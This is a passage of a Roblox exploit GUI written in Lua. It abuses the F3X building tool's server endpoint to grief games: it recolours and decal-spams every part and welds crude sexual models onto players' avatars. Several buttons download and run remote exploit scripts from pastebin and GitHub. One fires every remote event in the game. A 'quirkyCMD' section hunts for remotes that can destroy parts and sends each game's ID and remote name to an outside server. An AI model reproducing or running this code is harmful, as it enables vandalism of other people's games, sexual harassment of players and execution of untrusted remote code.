				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
	
		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
		function Color(part,color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color --[[Color3]],
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end
		function randomise()
			for i,v in game.Workspace:GetDescendants() do
				if v:IsA("BasePart") then
					spawn(function()
						SetLocked(v,false)
						Color(v,Color3.new(math.random(0,255),math.random(0,255),math.random(0,255)))
					end)
				end
			end
		end
		while wait() do
			spawn(function()
				randomise()
			end)
		end
	
	end)
end;
task.spawn(C_10f);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
local function C_111()
local script = G2L["111"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
	
		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
		function Color(part,color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color --[[Color3]],
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end
		function Penis(player)
			char = player.Character
			for i,v in char:GetChildren() do
				pcall(function()
					SetLocked(v,false)
				end)
			end
			if player.Character:FindFirstChild("Penis") then
				return
			else
	
	
				SetAnchor(true,player.Character.HumanoidRootPart)
				spawn(function()
					CreatePart(player.Character:WaitForChild("Right Leg").CFrame * CFrame.new(-0.8,1,-0.6),player.Character)
					SetName(player.Character.Part,"Balls1")
					CreatePart(player.Character:WaitForChild("Left Leg").CFrame * CFrame.new(0.8,1,-0.6),player.Character)
					SetName(player.Character.Part,"Balls2")
				end)
				wait(0.2)
				repeat wait() until char:FindFirstChild("Balls2")
				print("done")
				spawn(function()
					CreatePart(player.Character:WaitForChild("Torso").CFrame * CFrame.new(0,-1,-1.3),player.Character)
					SetName(player.Character.Part,"Penis")
					CreatePart(player.Character:WaitForChild("Torso").CFrame * CFrame.new(0,-1,-2.5),player.Character)
					SetName(player.Character.Part,"Head1")
				end)
				repeat wait() until char:FindFirstChild("Head1")
				spawn(function()
					AddMesh(char.Balls1)
					AddMesh(char.Balls2)
					AddMesh(char.Head1)
					AddMesh(char.Penis)
				end)
				repeat wait() until char.Penis:FindFirstChild("Mesh")
				spawn(function()
					SetMesh(char.Penis,"4743972117")
					SetMesh(char.Head1,"4743972117")
					MeshResize(char.Penis,Vector3.new(0.5,0.5,3))
					MeshResize(char.Head1,Vector3.new(0.5,0.5,1))
				end)
				spawn(function()
					Weld(char.Penis,char.HumanoidRootPart,char.Penis)
					SetMesh(char.Balls1,"5697933202")
					SetMesh(char.Balls2,"5697933202")
					MeshResize(char.Balls1,Vector3.new(0.2,0.2,0.2))
					MeshResize(char.Balls2,Vector3.new(0.2,0.2,0.2))
				end)
				wait(0.2)
				pcall(function()
					Color(char.Balls1,char:WaitForChild("Torso").Color)
					Color(char.Balls2,char:WaitForChild("Torso").Color)
					Color(char.Penis,char:WaitForChild("Torso").Color)
					Color(char.Head1, Color3.fromRGB(255,100,100))
				end)
				wait(0.2)
				spawn(function()
					SetCollision(player.Character.Balls1,false)
					SetCollision(player.Character.Balls2,false)
					SetCollision(player.Character.Penis,false)
					SetCollision(player.Character.Head1,false)
				end)
				wait(0.2)
				spawn(function()
					Weld(char.Balls1,char.HumanoidRootPart,char.Balls1)
					Weld(char.Balls2,char.Balls1,char.Balls2)
					Weld(char.Head1,char.Penis,char.Head1)
				end)
				wait(0.2)
				spawn(function()
					SetAnchor(false,char.Balls1)
					SetAnchor(false,char.Balls2)
					SetAnchor(false,char.Penis)
					SetAnchor(false,char.Head1)
					SetAnchor(false,char.HumanoidRootPart)
				end)
				repeat wait()
					SetAnchor(false,char.HumanoidRootPart)
					SetAnchor(false,char.Balls1)
					SetAnchor(false,char.Balls2)
					SetAnchor(false,char.Penis)
					SetAnchor(false,char.Head1)
				until char.Head1.Anchored == false
			end
		end
		for i,v in game.Players:GetPlayers() do
			--spawn(function()
			--pcall(function()
			Penis(player)
			--end)
			--end)
		end
	
	
	
	end)
end;
task.spawn(C_111);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
local function C_113()
local script = G2L["113"];
	local button = script.Parent
	local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid
	
	button.MouseButton1Down:connect(function()
		--rgrg
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
	
		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
		function Color(part,color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color --[[Color3]],
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end
		function SpawnDecal(part,side)
			local args = {
				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal"
					}
				}
			}
	
			_(args)
		end
		function AddDecal(part,asset,side)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal",
						["Texture"] = "rbxassetid://".. asset
					}
				}
			}
			_(args)
		end
	
		function spam(id)
			for i,v in game.workspace:GetDescendants() do
				if v:IsA("BasePart") then
					spawn(function()
						SetLocked(v,false)
						SpawnDecal(v,Enum.NormalId.Front)
						AddDecal(v,id,Enum.NormalId.Front)
	
						SpawnDecal(v,Enum.NormalId.Back)
						AddDecal(v,id,Enum.NormalId.Back)
	
						SpawnDecal(v,Enum.NormalId.Right)
						AddDecal(v,id,Enum.NormalId.Right)
	
						SpawnDecal(v,Enum.NormalId.Left)
						AddDecal(v,id,Enum.NormalId.Left)
	
						SpawnDecal(v,Enum.NormalId.Bottom)
						AddDecal(v,id,Enum.NormalId.Bottom)
	
						SpawnDecal(v,Enum.NormalId.Top)
						AddDecal(v,id,Enum.NormalId.Top)
					end)
				end
			end 
		end
		spam(input.Text)
	
	end)
end;
task.spawn(C_113);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
local function C_11b()
local script = G2L["11b"];
	local button = script.Parent
	
	
	button.MouseButton1Down:connect(function()
	--[[
		WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
	]]
		loadstring(game:HttpGet('https://pastebin.com/raw/jtNuZTYt'))()
	end)
end;
task.spawn(C_11b);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
local function C_11d()
local script = G2L["11d"];
	local button = script.Parent
	
	
	button.MouseButton1Down:connect(function()
		loadstring(game:HttpGet("https://raw.githubusercontent.com/JxcExploit/Harkedv2-script/main/Leaked-v2hardked"))()
	end)
end;
task.spawn(C_11d);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
local function C_11f()
local script = G2L["11f"];
	local button = script.Parent
	
	
	
	
	
	button.MouseButton1Down:connect(function()
		local remoteamount = 0
	
		for i,v in pairs(game:GetDescendants()) do
			if v:IsA("RemoteEvent") then
				remoteamount = remoteamount + 1
				v:FireServer()
				if v:IsA("BindableEvent") then
					remoteamount = remoteamount + 1
					v:Fire()
					if v:IsA("RemoteFunction") then
						remoteamount = remoteamount + 1
						v:InvokeServer()
					end
				end
			end
		end
	end)
end;
task.spawn(C_11f);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
local function C_121()
local script = G2L["121"];
	local button = script.Parent
	
	
	
	button.MouseButton1Down:connect(function()
		loadstring(game:HttpGet("https://pastebin.com/raw/P1ayeCf5"))()
	end)
end;
task.spawn(C_121);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
local function C_123()
local script = G2L["123"];
	local button = script.Parent
	
	
	button.MouseButton1Down:connect(function()
		loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/FE/main/Comet"))();
	end)
end;
task.spawn(C_123);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
local function C_125()
local script = G2L["125"];
	local button = script.Parent
	
	
	
	
	
	button.MouseButton1Down:connect(function()
		loadstring(game:HttpGet('https://raw.githubusercontent.com/Its-LALOL/LALOL-Hub/main/Backdoor-Scanner/script'))()
	end)
end;
task.spawn(C_125);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
local function C_127()
local script = G2L["127"];
	local button = script.Parent
	
	
	button.MouseButton1Down:connect(function()
		local cloneref = cloneref or function(a) return a end
		local coreGui = cloneref(game:GetService("CoreGui"))
		local players = cloneref(game:GetService("Players"))
		local localPlayer = players.LocalPlayer
	
		local function isElevatedStudioPlugin()
			local s, r = pcall(function()
				return coreGui:GetChildren()
			end)
			return s
		end
	
		local gethui = gethui or function()
			local folder
			if isElevatedStudioPlugin() then
				if coreGui:WaitForChild("RobloxGui"):FindFirstChild(".__gethui") then
					folder = coreGui:WaitForChild("RobloxGui"):FindFirstChild(".__gethui")
				else
					folder = Instance.new("Folder")
					folder.Name = '.__gethui'
					folder.Parent = coreGui:WaitForChild("RobloxGui")
				end
			else
				folder = localPlayer:WaitForChild'PlayerGui'
			end
			return folder
		end
	
		local quirkycmd = Instance.new("ScreenGui", gethui())
		quirkycmd.Name = "quirkyCMD"
		quirkycmd.IgnoreGuiInset = true
		quirkycmd.ScreenInsets = Enum.ScreenInsets.DeviceSafeInsets
		quirkycmd.ResetOnSpawn = false
		quirkycmd.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
	
		local remotepath = Instance.new("TextLabel")
		remotepath.Name = "remotepath"
		remotepath.Text = ""
		remotepath.TextColor3 = Color3.fromRGB(255, 255, 255)
		remotepath.TextScaled = true
		remotepath.TextSize = 14
		remotepath.TextTransparency = 0.6
		remotepath.TextWrapped = true
		remotepath.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
		remotepath.BackgroundTransparency = 0.6
		remotepath.BorderColor3 = Color3.fromRGB(0, 0, 0)
		remotepath.BorderSizePixel = 0
		remotepath.Position = UDim2.fromScale(0.396, 0.249)
		remotepath.Size = UDim2.fromScale(0.208, 0.044)
	
		local uicorner = Instance.new("UICorner")
		uicorner.Name = "UICorner"
		uicorner.CornerRadius = UDim.new(0, 3)
		uicorner.Parent = remotepath
	
		remotepath.Parent = quirkycmd
	
		local cmdbox = Instance.new("TextBox")
		cmdbox.Name = "cmdBox"
		cmdbox.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json")
		cmdbox.PlaceholderText = "ERROR"
		cmdbox.Text = ""
		cmdbox.TextColor3 = Color3.fromRGB(200, 200, 200)
		cmdbox.TextScaled = true
		cmdbox.TextSize = 12
		cmdbox.TextTruncate = Enum.TextTruncate.AtEnd
		cmdbox.TextWrapped = true
		cmdbox.BackgroundColor3 = Color3.fromRGB(22, 22, 22)
		cmdbox.BorderColor3 = Color3.fromRGB(59, 59, 59)
		cmdbox.BorderSizePixel = 3
		cmdbox.Position = UDim2.fromScale(0.396, 0.25)
		cmdbox.Size = UDim2.fromScale(0.208, 0.0441)
	
		local uitextsizeconstraint = Instance.new("UITextSizeConstraint")
		uitextsizeconstraint.Name = "UITextSizeConstraint"
		uitextsizeconstraint.MaxTextSize = 18
		uitextsizeconstraint.Parent = cmdbox
	
		cmdbox.Parent = quirkycmd
	
		local mobileopen = Instance.new("TextButton")
		mobileopen.Name = "mobileOpen"
		mobileopen.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json")
		mobileopen.Text = "CMD"
		mobileopen.TextColor3 = Color3.fromRGB(200, 200, 200)
		mobileopen.TextScaled = true
		mobileopen.TextSize = 14
		mobileopen.TextWrapped = true
		mobileopen.AnchorPoint = Vector2.new(1, 0)
		mobileopen.BackgroundColor3 = Color3.fromRGB(22, 22, 22)
		mobileopen.BorderColor3 = Color3.fromRGB(0, 0, 0)
		mobileopen.BorderSizePixel = 0
		mobileopen.Position = UDim2.fromScale(1, 0.25)
		mobileopen.Size = UDim2.fromScale(0.0346, 0.0734)
	
		local uicorner1 = Instance.new("UICorner")
		uicorner1.Name = "UICorner"
		uicorner1.CornerRadius = UDim.new(0, 3)
		uicorner1.Parent = mobileopen
	
		mobileopen.Parent = quirkycmd
	
		local cmds = Instance.new("Frame")
		cmds.Name = "cmds"
		cmds.Active = true
		cmds.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		cmds.BorderColor3 = Color3.fromRGB(0, 0, 0)
		cmds.BorderSizePixel = 0
		cmds.Position = UDim2.fromScale(0.446, 0.305)
		cmds.Size = UDim2.fromScale(0.108, 0.389)
		cmds.Parent = quirkycmd
	
		local cmdlist = Instance.new("ScrollingFrame")
		cmdlist.Name = "cmdList"
		cmdlist.AutomaticCanvasSize = Enum.AutomaticSize.Y
		cmdlist.CanvasSize = UDim2.new()
		cmdlist.ScrollBarThickness = 8
		cmdlist.ScrollingDirection = Enum.ScrollingDirection.Y
		cmdlist.BackgroundColor3 = Color3.fromRGB(22, 22, 22)
		cmdlist.BorderColor3 = Color3.fromRGB(0, 0, 0)
		cmdlist.BorderSizePixel = 0
		cmdlist.Position = UDim2.fromScale(0, 0.0566)
		cmdlist.Size = UDim2.fromScale(1, 0.943)
	
		local template = Instance.new("TextLabel")
		template.Name = "template"
		template.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json")
		template.Text = "error occured, dm quirky"
		template.TextColor3 = Color3.fromRGB(200, 200, 200)
		template.TextScaled = true
		template.TextSize = 14
		template.TextWrapped = true
		template.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		template.BackgroundTransparency = 1
		template.BorderColor3 = Color3.fromRGB(0, 0, 0)
		template.BorderSizePixel = 0
		template.Size = UDim2.fromScale(0.9, 0.1)
		template.Parent = cmdlist
	
		local uilistlayout = Instance.new("UIListLayout")
		uilistlayout.Name = "UIListLayout"
		uilistlayout.Padding = UDim.new(0, 5)
		uilistlayout.SortOrder = Enum.SortOrder.LayoutOrder
		uilistlayout.Parent = cmdlist
	
		cmdlist.Parent = cmds
	
		local closebutton = Instance.new("TextButton")
		closebutton.Name = "closeButton"
		closebutton.FontFace = Font.new("rbxasset://fonts/families/SourceSansPro.json")
		closebutton.Text = "Close"
		closebutton.TextColor3 = Color3.fromRGB(255, 255, 255)
		closebutton.TextScaled = true
		closebutton.TextSize = 14
		closebutton.TextWrapped = true
		closebutton.Active = false
		closebutton.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
		closebutton.BorderColor3 = Color3.fromRGB(0, 0, 0)
		closebutton.BorderSizePixel = 0
		closebutton.Size = UDim2.fromScale(1, 0.0566)
		closebutton.Parent = cmds
	
		if not game:IsLoaded() then game.Loaded:Wait() end
	
		--[[Variables]]--
		local debugOutput = true
		local checkTime = 0.33
		local UGCVS = game:GetService("UGCValidationService")
		local uis = game:GetService("UserInputService")
		local sgui = game:GetService("StarterGui")
		local rs = game:GetService("RunService")
		local rStorage = game:GetService("ReplicatedStorage")
		local players = game:GetService("Players")
		local genv = (getgenv and (getgenv() ~= getfenv()) and getgenv()) or _G
		local gethiddenproperty = gethiddenproperty or (pcall(UGCVS.GetPropertyValue,UGCVS,workspace,"Name") and function(i, v) return UGCVS:GetPropertyValue(i, v) end)
		local sethiddenproperty = sethiddenproperty or function(inst,i,v) inst[i] = v end
		local isnetworkowner = isnetworkowner or function(part) return part.ReceiveAge == 0 end
		local isMobile = uis.TouchEnabled
		local isTesting = game.PlaceId == 16245218863
		local modernChat = game:GetService("TextChatService").ChatVersion == Enum.ChatVersion.TextChatService
		local chatEvents = (not modernChat) and rStorage:FindFirstChild("DefaultChatSystemChatEvents")
		local mobileOffset = isMobile and 0.25 or 0
		local prefix = ";"
		local prefixEnum = Enum.KeyCode.Semicolon
		-- credits to itzyaboyluq on github for the word list
		local wordList = {"delete", "remove", "destroy", "clean", "clear","bullet", "bala", "shoot", "shot", "fire", "segway", "handless", "sword", "attack", "despawn", "deletar", "apagar"}
		local localPlayer = players.LocalPlayer
		local camera = workspace.CurrentCamera
		local mouse = localPlayer:GetMouse()
		local character = localPlayer.Character or localPlayer.CharacterAdded:Wait() 
		local bodyColors = character:WaitForChild("Body Colors",0.1) or character:WaitForChild("Head"):WaitForChild("HatAttachment",0.1) or character:WaitForChild("Head")
		if not bodyColors then return error("no test instance found") end
		local gui = quirkycmd or localPlayer:FindFirstChildOfClass("PlayerGui"):FindFirstChild("quirkyCMD")
		local box = gui:WaitForChild("cmdBox")
		local mobileButton = gui:WaitForChild("mobileOpen")
		local cmdsFrame = gui:WaitForChild("cmds")
		local cmdsList = cmdsFrame:WaitForChild("cmdList")
		local cmdTemplate = cmdsList:WaitForChild("template")
		local closeButton = cmdsFrame:WaitForChild("closeButton")
		local remotePath = gui:WaitForChild("remotepath")
		local visible = false
		genv.connections = {}
		local commands = {}
		local remotes = {}
		local services = {}
		local privilegeLevels = {}
		local rankNames = {"admin", "owner", "local"}
		local bans = {}
		local loopkills = {}
		local infected = {}
		local killauras = {}
		local wslocks = {}
		local slockEnabled = false
		local inDatabase = false
		local atts = {
			"BodyProportionScale",
			"BodyWidthScale",
			"BodyHeightScale",
			"BodyDepthScale",
			"HeadScale",
			"BodyTypeScale"
		}
		local limbs = {
			"arm",
			"leg",
			"foot"
		}
	
		local function httpget(url)
			if isTesting then
				return rStorage:WaitForChild("request"):InvokeServer(url)
			end
			return game:HttpGet(url)
		end
	
		-- credits to littlemike57 (uuid 3099053) on v3rmillion
		local Iris
		local irisCoroutine
		if isTesting then
			irisCoroutine = coroutine.create(function()
				Iris = require(game:GetService("ReplicatedStorage"):WaitForChild("iris")).Init()
			end)
		else
			irisCoroutine = coroutine.create(function()
				Iris = loadstring(httpget("https://raw.githubusercontent.com/someunknowndude/Iris-Exploit-Bundle/main/bundle.lua"))().Init()
			end)
		end
	
		coroutine.resume(irisCoroutine)
	
		--[[Add test game compatability]]--
		if isTesting then
			function loadstring(src)
				return require(rStorage:WaitForChild("Loadstring"))(src)
			end
	
			local files = localPlayer.PlayerGui:WaitForChild("workspace")
	
			function isfile(str)
				local str = str or ""
				return files:FindFirstChild(str) and true or false
			end
	
			function writefile(str,txt)
				local str = str or ""
				local val = isfile(str) and files[str] or Instance.new("StringValue", files)
				val.Name = str
				val.Value = txt
			end
	
			function readfile(str)
				local str = str or ""
				if not files:FindFirstChild(str) then return error("file " .. str .. " does not exist") end
				return files[str].Value
			end
	
			function listfiles(str)
				local res = {}
				for i,v in pairs(files:GetChildren()) do
					table.insert(res, v.Name)
				end
				return res
			end
	
			function loadfile(str)
				local str = str or ""
				if not files:FindFirstChild(str) then return error("file " .. str .. " does not exist") end
				return loadstring(files[str].Value)
			end
		end
	
		--[[Prepare UI]]--
		cmdsFrame.Visible = false
		cmdTemplate.Visible = false
		mobileButton.Visible = false
		box.Position = UDim2.new(0.5 - box.Size.X.Scale/2, 0,1,50)
	
		--[[Set up admin system logic]]--
		for i,v in pairs(players:GetPlayers()) do
			privilegeLevels[v.Name] = 0
		end
	
		privilegeLevels[localPlayer.Name] = 3
	
		table.insert(genv.connections, players.PlayerAdded:Connect(function(plr)
			privilegeLevels[plr.Name] = 0
		end))
	
		table.insert(genv.connections, players.PlayerRemoving:Connect(function(plr)
			privilegeLevels[plr.Name] = nil
		end))
	
		--[[Misc. functions]]--
		function debugPrint(...)
			if not debugOutput then return end
			warn(...)
		end
	
		debugPrint("loaded UI")
	
		function notify(title,text,duration)
			sgui:SetCore("SendNotification", {
				Title = title or "", 
				Text = text or "",
				Duration = duration or 5
			})
		end
	
		local function getKeyCode(char)
			local char = char:lower()
			local byte = char:byte()
			for i,v in pairs(Enum.KeyCode:GetEnumItems()) do
				local value = v.Value
				if value ~= byte then continue end
				return v
			end
		end
	
		function findPlayers(input)
			if input == nil or input == "" then return
				{localPlayer}
			end 
	
			local input = input:lower()
			local players = players:GetPlayers()
			local targets = {}
	
			if input == "me" then
				return {localPlayer}
			end
			if input == "all" then
				return players
			end
			if input == "others" then
				targets = players
				table.remove(targets,1)
				return targets
			end
	
			if input == "random" then
				return {players[math.random(1,#players)]}
			end
	
			for i,v in pairs(players) do
				local plrName = v.Name:lower()
				local plrDisplayName = v.DisplayName:lower()
				if not (plrName:find(input) or plrDisplayName:find(input)) then continue end
				table.insert(targets, v)
			end
	
			return targets
		end
	
		function abort()
			for i,v in pairs(genv.connections) do
				if typeof(v) == "Instance" then v:Destroy() continue end
				v:Disconnect()
			end
			gui:Destroy()
			if modernChat then
				game:GetService("TextChatService").TextChannels["RBXGeneral"].OnIncomingMessage = nil
			end
			if Iris then
				Iris.Disabled = true
			end
			coroutine.yield(irisCoroutine)
		end
	
		local function lerp(a, b, m)
			return a + (b - a) * m
		end
	
		--[[Update variables]]--
		table.insert(genv.connections, localPlayer.CharacterAdded:Connect(function(char)
			character = char
			bodyColors = char:WaitForChild("Body Colors", 0.1) or char:WaitForChild("Head"):WaitForChild("HatAttachment", 0.1) or char:WaitForChild("Head") 
		end))
	
		--[[Add command bar hide/show logic]]--
		local function toggleBar(focus)
			visible = not visible
			if visible then 
				box:TweenPosition(UDim2.new(0.5 - box.Size.X.Scale/2, 0,.25,0),Enum.EasingDirection.Out,Enum.EasingStyle.Back, 0.1,true,function() if focus then box:CaptureFocus() end end)
				return
			end
			box:TweenPosition(UDim2.new(0.5 - box.Size.X.Scale/2, 0,1,50),Enum.EasingDirection.Out,Enum.EasingStyle.Linear, 0.05,true)
		end
	
		table.insert(genv.connections, uis.InputBegan:Connect(function(input, processed) 
			if processed and uis:GetFocusedTextBox() ~= box then return end
			if input.KeyCode ~= prefixEnum then return end
			toggleBar(true)
			if visible then return end
			box:ReleaseFocus()
		end))
	
		--[[Find destroy remote & save to working games list]]--
		local remoteJSON
	
		local function hasFiles()
			return (isfile and readfile and writefile)
		end
	
		local function getGameList()
			if not isfile("quirky games.json") then
				writefile("quirky games.json", "[]") 
				return {} 
			end
	
			local content = readfile("quirky games.json")
			return game:GetService("HttpService"):JSONDecode(content)
		end
	
		local function checkFile()
			if not hasFiles() then return end
			for i,v in pairs(getGameList()) do
				if i ~= tostring(game.PlaceId) then continue end
				for _, instance in pairs(game:GetDescendants()) do
					if not (instance:IsA("RemoteEvent") and instance.Name == v) then continue end
					genv.foundRemote = instance
					remotePath.Visible = false
					break
				end
			end
		end
	
		local function sendGame()
			spawn(function()
				local res, err
				res,err = pcall(function()
					httpget("https://eli.serv00.net/addgame.php?id=" .. tostring(game.PlaceId) .. "&remote=" .. genv.foundRemote.Name)
				end)
				if res then return end
				-- retry game log if first one failed
				pcall(function()
					httpget("https://eli.serv00.net/addgame.php?id=" .. tostring(game.PlaceId) .. "&remote=" .. genv.foundRemote.Name)
				end)
			end)
		end
	
		local function logGameLocally()
			local games = getGameList()
			games[tostring(game.PlaceId)] = genv.foundRemote.Name
			writefile("quirky games.json", game:GetService("HttpService"):JSONEncode(games))
			sendGame()
		end
	
		local function checkDatabase()
